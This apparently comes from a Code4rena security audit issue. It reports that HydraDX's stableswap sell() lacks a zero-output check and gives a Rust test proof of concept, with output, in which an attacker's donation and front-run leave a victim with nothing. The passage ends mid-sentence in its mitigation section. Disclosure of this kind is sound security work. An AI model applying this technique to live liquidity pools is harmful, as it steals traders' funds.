c4-bot-4 commented 6 months ago

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L717

Vulnerability details

Impact

AMMs shouldn't allow for swap operations that would result in users losing all their tokens and receiving 0 tokens in return. This could be exploited by attackers in combination with front running and MEV Bots to steal value from traders.

Proof of Concept

In the buy() and sell() methods, there is no validation that the amount_out is non-zero. For a user to receive 0 tokens after a sell() operation, the liquidity of at least 1 token needs to be really low, so that the amount_out would get rounded to zero. Achieving this is possible either by withdrawing all the liquidity of one token in the pool and leaving a really small amount. The method that we are going to use in the proof of concept is to simply donate 1 unit of each Token to the pool, and provide liquidity to a single token type, TokenB, using the attacker's account, Bob, in order to hold the majority of shares of the pool and front-run the sell() operation from User Alice of TokenB for Token A. With this, Bob would take all the tokens of Alice and Alice would get nothing in return. To run the coded Proof of Concept, add the following code to pallets/stableswap/src/tests/add_liquidity.rs

fn steal_liquidity_new_pool_by_donation_attack() {
    let pool_id: AssetId = 100u32;
    ExtBuilder::default()
        .with_endowed_accounts(vec![
            (BOB, 1, 200 * ONE),
            (BOB, 2, 200 * ONE),
            (ALICE, 1, 200 * ONE),
            (ALICE, 2, 200 * ONE),
        ])
        .with_registered_asset("pool".as_bytes().to_vec(), pool_id, 12)
        .with_registered_asset("one".as_bytes().to_vec(), 1, 12)
        .with_registered_asset("two".as_bytes().to_vec(), 2, 12)
        .build()
        .execute_with(|| {
            let asset_a: AssetId = 1;
            let asset_b: AssetId = 2;
            let amplification: u16 = 100;

            assert_ok!(Stableswap::create_pool(
                RuntimeOrigin::root(),
                pool_id,
                vec![asset_a, asset_b],
                amplification,
                Permill::from_percent(0),
            ));

            let initial_liquidity_amount = 100 * ONE;
            let pool_account = pool_account(pool_id);
            let _ = Tokens::transfer(
                RuntimeOrigin::signed(BOB),
                pool_account.clone(),
                asset_b,
                1_u128,
            );
            let _ = Tokens::transfer(
                RuntimeOrigin::signed(BOB),
                pool_account.clone(),
                asset_a,
                1_u128,
            );

            println!("ALICE Token A balance before: {:?}", Tokens::free_balance(asset_a, &ALICE));
            println!("ALICE Token B balance before: {:?}", Tokens::free_balance(asset_b, &ALICE));
            assert_ok!(Stableswap::add_liquidity(
                RuntimeOrigin::signed(BOB),
                pool_id,
                vec![
                    AssetAmount::new(asset_b, initial_liquidity_amount),
                ]
            ));
            assert_ok!(Stableswap::sell(RuntimeOrigin::signed(ALICE), pool_id, asset_b, asset_a,200*ONE , 0));
            // Print the balances of Alice
            println!("ALICE Token A balance after: {:?}", Tokens::free_balance(asset_a, &ALICE));
            println!("ALICE Token B balance after: {:?}", Tokens::free_balance(asset_b, &ALICE));

        });
}

Result:

running 1 test
ALICE Token A balance before: 200000000000000
ALICE Token B balance before: 200000000000000
ALICE Token A balance after: 200000000000000
ALICE Token B balance after: 0
test tests::add_liquidity::steal_liquidity_new_pool_by_donation_attack ... ok

test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 97 filtered out; finished in 0.00s

Tools Used

Manual Review, Substrate

Recommended Mitigation Steps

To mitigate this issue, the sell() method should implement a zero-value check to validate that the user would get an amount of tokens after a swap operation. This could be implemented in 2 ways: